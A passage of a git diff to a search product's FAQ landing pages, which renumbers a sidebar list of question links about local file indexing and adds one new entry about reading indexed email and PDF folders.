href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/search-unity-project-assets.html b/landing/answers/search-unity-project-assets.htmlindex 3a60c8004..88f89f8e2 100644--- a/landing/answers/search-unity-project-assets.html+++ b/landing/answers/search-unity-project-assets.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/search-word-documents-in-a-folder.html b/landing/answers/search-word-documents-in-a-folder.htmlindex b990e17cf..4ffab7266 100644--- a/landing/answers/search-word-documents-in-a-folder.html+++ b/landing/answers/search-word-documents-in-a-folder.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/search-yaml-xml-config-repository.html b/landing/answers/search-yaml-xml-config-repository.htmlindex 2d3ca1f71..eef654218 100644--- a/landing/answers/search-yaml-xml-config-repository.html+++ b/landing/answers/search-yaml-xml-config-repository.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" 